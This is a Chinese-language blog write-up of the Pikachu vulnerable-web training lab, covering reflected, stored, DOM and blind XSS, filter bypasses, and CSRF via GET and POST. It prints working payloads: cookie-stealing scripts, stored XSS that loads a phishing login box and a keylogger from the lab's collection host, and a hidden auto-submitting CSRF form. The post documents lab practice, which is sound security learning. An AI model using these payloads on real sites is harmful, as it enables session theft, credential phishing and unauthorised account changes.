pikachu的xss与csrf

XSS概述

 

XSS漏洞是web漏洞中危害较大的漏洞,是一种发生在web前端的漏洞,所以危害的对象也主要是前端用户,XSS可以用来进行钓鱼攻击,前端js挖矿,获取用户cookie。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等。

 

XSS漏洞的常见类型

 

1.反射型,交互的数据一般不会存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。

2.存储型交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面。

3.DOM型不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型。

 

XSS漏洞形成的原因

 

形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致”精心构造”的脚本输入后,再输到前端时被浏览器当作有效代码解析执行从而产生危害

 

XSS漏洞测试流程

 

1, 在目标站点上找到输入点,比如查询接口,留言板等

2, 输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理

3, 通过搜索定位到唯一字符,结合唯一字符前后的语法确认是否可以构造执行js的条件(构造闭合)

4, 提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明纯在XSS漏洞

 

Tips:

  1. 一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS
  2. 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器);
  3. 通过变化不同的script,尝试绕过后台过滤机制

 

 

1.反射性XSS(GET)

 

输入kobe点submit发现,浏览器的url发生变化,确定为get传参的反射性

 

 

接下来进行测试将kobe改为js    <script>alert(document.cookie)</script>

 

弹窗成功,此处含有get传参的反射性xss且无过滤

 

 

 

2.反射性XSS(POST)+获取Cookie

 

输入kobe点submit发现,浏览器的url未发生变化,确定为post传参的反射性xss

 

接下来进行测试将kobe改为js   <script>alert(document.cookie)</script>

 

 

 

弹窗成功,此处含有post传参的反射性xss且无过滤

 

利用pikachu/pkxss/xcookie/post.html进行post型xss

 

修改post.html

 

修改完成后,在登录用户的情况下访问此链接 http://192.168.1.1/pikachu/pkxss/xcookie/post.html

 

然后查看xss后台发现,cookie已经发送到xss后台

 

 

 

 

3.存储型xss
(1)测试
测试xss,往留言板里提交 <script>alert(document.cookie)</script>
点击提交,之后可以看到下面的留言列表多了一个删除按钮,并且直接弹出cookie,说明存储型xss存在且无过滤。

 

 

 

(2)存储型钓鱼

同上,此存储型xss无过滤,所以我们可以构造src标签,使他访问到特定文件,在这里我们的pikachu平台有一个构造好的钓鱼文件,定向到此文件会弹出一个登录框,诱骗目标的账号和密码。如图。

 

 上图就是pikachu平台的钓鱼文件

所以我们构造payload指定到此文件上   payload为 <script src="http://192.168.1.1/pikachu/pkxss/xfish/fish.php"></srcipt>

输入payload提交之后,效果如下

 

 

 

 

 (3)存储型键盘记录

 同上,这里我们的pikachu平台有一个构造好的js文件和php文件,引用此script脚本会记录键盘记录,但是有一个要注意的是,因为有同源策略的存在,正常情况下的调用js脚本不会正常执行,只有当设置以下策略才会正常执行。

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

其js和php的主要代码如下

 

 

我们构造引用js文件的payload    <script src="http://192.168.1.1/pikachu/pkxss/rkeypress/rk.js"></srcipt> 

提交执行,看起来并没有什么变化,但是查看源代码发现,xss插入成功

 

 查看F12的Networking发现js已经被引用。

 

4.dom型xss
按F12查看审查元素,按Ctrl+Shift+C然后点击click me!按钮定位函数

 

 

 

这个函数为

 

测试一下输入
在下面出现了一个<a href="1">what do you see?</a>标签,尝试闭合
构造payload 
 
5.dom型xss-x
同理按F12查看审查元素,按Ctrl+Shift+C然后点击button 定位函数

 

 

domxss()函数与上一个不同

 

 

这次是先进行get传参,然后domxss()获取get传参,然后新建一个href标签,其他与之前的dom型xss相同,使用上一次的payload  '><img src="#" onmouseover="alert(document.cookie)">
结果如下

 

 

6.xss之盲打
同上,先查看审查元素,结果发现这个为post提交表单。测试一下。

 

 

进入后台查看

 

从审查元素上看,可以发现此xss不用闭合,直接插入即可
进入后台发现直接弹窗
7.xss之过滤
测试<script>alert(document.cookie)</script>发现返回结果有>,应该是<script被过滤,

 

换一下payload
点击herf 发现弹出cookie

 

 

8.xss之htmlspecialchars
题目可以看到过滤函数。
此时1发现1被拼接到<a href标签里
但是该函数把预定义的字符转换为 HTML 实体,预定义的字符是 & " ' < > 这五个,即转化为 &#xxx的形式
关于flags:默认情况下为只过滤双引号,若设置为ENT_QUOTES则单双引号均被过滤
所以我们可以利用'来绕过
构造payload

 

 

 

 

9.xss之href输出
发现 ‘ 被html实体编码了,所以我们可以利用其他方法,但经过测试, <也被编码,也就是说这次应该还是htmlspecialchars函数只不过连 ' 也过滤了,所以我们可以利用在文章头提到的一下绕过姿势

 

 

10.xss之js输出
同上测试,

 

 

二、CSRF

1.CSRF(GET)

首先登陆一个账户,获取cookie以及信息。

 

 点击修改个人信息

 

 利用审查元素,查看submit类型

 

 发现是get传参类型的表单,先提交一次测试一下。

 

 找到传参的参数以及路径。可以确定为CSRF类型,利用刚才的networking情况构造payload。

将kobe的性别改为girl 电话改为 123456789地址改为PPSUC 邮箱改为PPSUC@edu.cn 则完整的url为 http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123456789&add=PPSUC&email=PPSUC%40edu.n&submit=submit

我们以当前用户点击此链接。如图

 

 发现个人信息已被修改

 

 

 则CSRF(GET)payload成功。

2.CSRF(POST)

同上,这次我们登录allen的账号获取其cookie和个人信息。

 

 点击修改个人信息

 

 查看审查元素,发现此次提交表单为post类型提交数据

 

 所以这次我们需要构造一个链接,此链接为我们自己服务器文件,功能为一被访问就自动post数据到修改个人资料的PHP文件上。

所以我们构造html为

复制代码
<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="123456789" />
    <input id="add" type="text" name="add" value="PPSUC" />
    <input id="email" type="text" name="email" value="PPSUC@edu.cn" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
复制代码

此html在刚加载时就会触发id为postsubmit的对象,导致构造的form表单的数据被提交,而我们构造表单的vaule为我们想要的数据,这样就可以导致csrf产生。

测试:

我们在allen账号的状态下,点击我们html的url http://192.168.1.1/pikachu/vul/csrf/csrfpost/post.html

结果如下。先跳转到此页面

 

 然后再跳转回个人信息页面

 

 此时发现个人信息已被修改,然而有个很严重的问题,这个目标太显眼,我们要想办法把post.html的内容尽量减少。

例如:

复制代码
<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="hidden" name="sex" value="girl" />
    <input id="phonenum" type="hidden" name="phonenum" value="987654321" />
    <input id="add" type="hidden" name="add" value="PPSUC" />
    <input id="email" type="hidden" name="email" value="PPSUC@edu.cn" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
复制代码

这样的画访问post.html如下图

 

 

 应该还有其他方法减小目标,可以继续研究。

3.CSRF TOKEN

 
posted @ 2019-12-16 20:03  Gongxi_ice  阅读(440)  评论(0)    收藏  举报